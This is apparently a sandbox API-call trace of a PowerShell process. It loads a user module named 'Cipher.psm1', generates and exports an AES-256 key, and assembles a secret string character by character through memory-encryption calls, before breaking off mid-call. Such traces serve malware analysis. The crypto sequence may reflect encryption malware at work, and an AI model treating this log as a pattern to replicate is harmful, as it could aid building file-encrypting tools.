GetConsoleOutputCP () returned 0x1b5 [0137.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0137.659] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0137.659] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad5a38*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6ad5a38*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0137.660] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0137.660] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0137.663] GetConsoleOutputCP () returned 0x1b5 [0137.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.664] GetConsoleOutputCP () returned 0x1b5 [0137.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.664] GetConsoleOutputCP () returned 0x1b5 [0137.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.665] GetConsoleOutputCP () returned 0x1b5 [0137.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.665] GetConsoleOutputCP () returned 0x1b5 [0137.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.666] GetConsoleOutputCP () returned 0x1b5 [0137.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.666] GetConsoleOutputCP () returned 0x1b5 [0137.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.666] GetConsoleOutputCP () returned 0x1b5 [0137.667] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.667] GetConsoleOutputCP () returned 0x1b5 [0137.667] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.667] GetConsoleOutputCP () returned 0x1b5 [0137.668] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.668] GetConsoleOutputCP () returned 0x1b5 [0137.668] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.668] GetConsoleOutputCP () returned 0x1b5 [0137.669] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.669] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0137.669] GetConsoleOutputCP () returned 0x1b5 [0137.670] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0137.670] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0137.670] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad6490*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6ad6490*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0137.671] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0137.671] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0137.676] GetConsoleOutputCP () returned 0x1b5 [0137.676] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.676] GetConsoleOutputCP () returned 0x1b5 [0137.676] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.676] GetConsoleOutputCP () returned 0x1b5 [0137.677] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.677] GetConsoleOutputCP () returned 0x1b5 [0137.677] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.677] GetConsoleOutputCP () returned 0x1b5 [0137.677] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.677] GetConsoleOutputCP () returned 0x1b5 [0137.678] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.678] GetConsoleOutputCP () returned 0x1b5 [0137.678] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.678] GetConsoleOutputCP () returned 0x1b5 [0137.678] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.678] GetConsoleOutputCP () returned 0x1b5 [0137.678] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.679] GetConsoleOutputCP () returned 0x1b5 [0137.679] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.679] GetConsoleOutputCP () returned 0x1b5 [0137.679] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.679] GetConsoleOutputCP () returned 0x1b5 [0137.679] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.679] GetConsoleOutputCP () returned 0x1b5 [0137.680] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.680] GetConsoleOutputCP () returned 0x1b5 [0137.680] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.680] GetConsoleOutputCP () returned 0x1b5 [0137.680] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.680] GetConsoleOutputCP () returned 0x1b5 [0137.681] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.681] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0137.681] GetConsoleOutputCP () returned 0x1b5 [0137.681] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.681] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.682] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad8284*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6ad8284*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0137.682] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.682] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0137.686] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.686] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.687] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x8d64\x7411") returned 0x0 [0137.687] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.688] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396e78) returned 1 [0137.688] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84df8) returned 1 [0137.688] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.688] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.688] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ae1c0c, pdwDataLen=0x99ae894 | out: pbData=0x6ae1c0c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.688] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x1b9c\x6ae\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667") returned 0x0 [0137.689] SysStringLen (param_1="") returned 0x8 [0137.689] SysStringLen (param_1="n") returned 0x8 [0137.689] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.689] SysStringLen (param_1="\xaeb4\x2f22\xd1d4\xee2d\x84f0\xa307\xe7d2\xc781") returned 0x8 [0137.689] SysStringLen (param_1="\xaeb4\x2f22\xd1d4\xee2d\x84f0\xa307\xe7d2\xc781") returned 0x8 [0137.689] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.690] SysStringLen (param_1="nt") returned 0x8 [0137.690] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.690] SysStringLen (param_1="\x335e\xd1ac\x7bf2\xffad\xe820\x8244\x7dbd\x3ec") returned 0x8 [0137.690] SysStringLen (param_1="\x335e\xd1ac\x7bf2\xffad\xe820\x8244\x7dbd\x3ec") returned 0x8 [0137.690] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.690] SysStringLen (param_1="ntF") returned 0x8 [0137.690] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.690] SysStringLen (param_1="\x6fce\xf364\x56d9\x9cca\x5ea9\xbb3a\x5f07\xf176") returned 0x8 [0137.690] SysStringLen (param_1="\x6fce\xf364\x56d9\x9cca\x5ea9\xbb3a\x5f07\xf176") returned 0x8 [0137.691] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.691] SysStringLen (param_1="ntFP") returned 0x8 [0137.691] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.691] SysStringLen (param_1="\xc569\xc7d2\x1718\x64c0\xc688\xb387\xdb9d\x2124") returned 0x8 [0137.691] SysStringLen (param_1="\xc569\xc7d2\x1718\x64c0\xc688\xb387\xdb9d\x2124") returned 0x8 [0137.691] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.691] SysStringLen (param_1="ntFPR") returned 0x8 [0137.691] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.691] SysStringLen (param_1="\xd07e\x5d31\xbcd4\xe08c\x191f\x67fd\x4390\xc396") returned 0x8 [0137.691] SysStringLen (param_1="\xd07e\x5d31\xbcd4\xe08c\x191f\x67fd\x4390\xc396") returned 0x8 [0137.691] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.691] SysStringLen (param_1="ntFPRH") returned 0x8 [0137.691] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.691] SysStringLen (param_1="\x24c9\x3137\x738b\xb68d\x9987\x3881\x5e8b\xcfca") returned 0x8 [0137.691] SysStringLen (param_1="\x24c9\x3137\x738b\xb68d\x9987\x3881\x5e8b\xcfca") returned 0x8 [0137.691] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.691] SysStringLen (param_1="ntFPRHX") returned 0x8 [0137.691] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.691] SysStringLen (param_1="\x4716\x69e5\x1415\xcf26\x357b\x412f\x417e\x3f5") returned 0x8 [0137.691] SysStringLen (param_1="\x4716\x69e5\x1415\xcf26\x357b\x412f\x417e\x3f5") returned 0x8 [0137.692] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.692] SysStringLen (param_1="ntFPRHXb") returned 0x8 [0137.692] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.692] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114") returned 0x8 [0137.692] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114") returned 0x8 [0137.692] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114") returned 0x8 [0137.692] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114") returned 0x10 [0137.692] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.692] SysStringLen (param_1="ntFPRHXbEꋒ䳰륥贃ᗜ凇") returned 0x10 [0137.692] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.692] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x287f\xf3f\x92bf\x537f\x83b1\x1492\x7c30\xcf7b") returned 0x10 [0137.692] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x287f\xf3f\x92bf\x537f\x83b1\x1492\x7c30\xcf7b") returned 0x10 [0137.692] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.692] SysStringLen (param_1="ntFPRHXbEG䳰륥贃ᗜ凇") returned 0x10 [0137.692] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.692] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x6ceb\x3fdb\x4bc4\xa4bb\x8dc6\xd6ec\xc02f\xef1e") returned 0x10 [0137.692] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x6ceb\x3fdb\x4bc4\xa4bb\x8dc6\xd6ec\xc02f\xef1e") returned 0x10 [0137.692] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.693] SysStringLen (param_1="ntFPRHXbEGo륥贃ᗜ凇") returned 0x10 [0137.693] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.693] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\xc695\xe874\x8827\x4c1f\x86ce\x29ba\xb0c3\xc52d") returned 0x10 [0137.693] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\xc695\xe874\x8827\x4c1f\x86ce\x29ba\xb0c3\xc52d") returned 0x10 [0137.693] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.693] SysStringLen (param_1="ntFPRHXbEGoA륥贃ᗜ凇") returned 0x10 [0137.693] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.693] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x1bf\x2b4e\xdf2d\xbf24\x3b4e\xdf04\x417b\xfa19") returned 0x10 [0137.693] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x1bf\x2b4e\xdf2d\xbf24\x3b4e\xdf04\x417b\xfa19") returned 0x10 [0137.693] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.693] SysStringLen (param_1="ntFPRHXbEGoA9贃ᗜ凇") returned 0x10 [0137.693] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.693] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\xf9ee\x1bd3\x2a4f\xab32\xbee8\xfb3c\x90bd\xcd6a") returned 0x10 [0137.693] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\xf9ee\x1bd3\x2a4f\xab32\xbee8\xfb3c\x90bd\xcd6a") returned 0x10 [0137.693] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.693] SysStringLen (param_1="ntFPRHXbEGoA9xᗜ凇") returned 0x10 [0137.693] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.694] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x822\xc700\xf406\x3964\xeecb\x8d8c\x1f33\x3104") returned 0x10 [0137.694] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x822\xc700\xf406\x3964\xeecb\x8d8c\x1f33\x3104") returned 0x10 [0137.694] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.694] SysStringLen (param_1="ntFPRHXbEGoA9xr凇") returned 0x10 [0137.694] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.694] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x2f6b\xfb9e\x9ce\xc998\x6d58\x31ff\xc7e6\x9b89") returned 0x10 [0137.694] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x2f6b\xfb9e\x9ce\xc998\x6d58\x31ff\xc7e6\x9b89") returned 0x10 [0137.694] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.694] SysStringLen (param_1="ntFPRHXbEGoA9xrq") returned 0x10 [0137.694] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.694] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03") returned 0x10 [0137.694] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03") returned 0x10 [0137.694] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03") returned 0x10 [0137.694] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03") returned 0x18 [0137.694] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.694] SysStringLen (param_1="ntFPRHXbEGoA9xrq9䪋껁痢燆썳懍㻐") returned 0x18 [0137.694] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.695] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x80a0\x66ec\x29e1\x3dde\xc084\x6b84\x527f\x5d2c") returned 0x18 [0137.695] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x80a0\x66ec\x29e1\x3dde\xc084\x6b84\x527f\x5d2c") returned 0x18 [0137.695] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.695] SysStringLen (param_1="ntFPRHXbEGoA9xrq9Y껁痢燆썳懍㻐") returned 0x18 [0137.695] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.695] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x4277\x4282\xb051\x1fae\x4f01\xb6fb\x553e\xc00c") returned 0x18 [0137.695] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x4277\x4282\xb051\x1fae\x4f01\xb6fb\x553e\xc00c") returned 0x18 [0137.695] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.695] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV痢燆썳懍㻐") returned 0x18 [0137.695] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.695] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x3571\x358e\x83e\x5922\x6843\x635f\x8c14\x726f") returned 0x18 [0137.695] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x3571\x358e\x83e\x5922\x6843\x635f\x8c14\x726f") returned 0x18 [0137.695] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.695] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+燆썳懍㻐") returned 0x18 [0137.695] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.695] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x72db\x3d37\xff84\xbe4e\x58b6\xc85d\xd6c0\x2cbc") returned 0x18 [0137.695] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x72db\x3d37\xff84\xbe4e\x58b6\xc85d\xd6c0\x2cbc") returned 0x18 [0137.695] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.695] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L썳懍㻐") returned 0x18 [0137.695] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\xdb95\x6780\xbe7c\x79c9\xb8ec\x8172\x2d9f\xa4d1") returned 0x18 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\xdb95\x6780\xbe7c\x79c9\xb8ec\x8172\x2d9f\xa4d1") returned 0x18 [0137.696] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.696] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0懍㻐") returned 0x18 [0137.696] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x7772\xae95\x8ed\x5ca9\x9841\x985d\x60d7\x6f66") returned 0x18 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x7772\xae95\x8ed\x5ca9\x9841\x985d\x60d7\x6f66") returned 0x18 [0137.696] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) 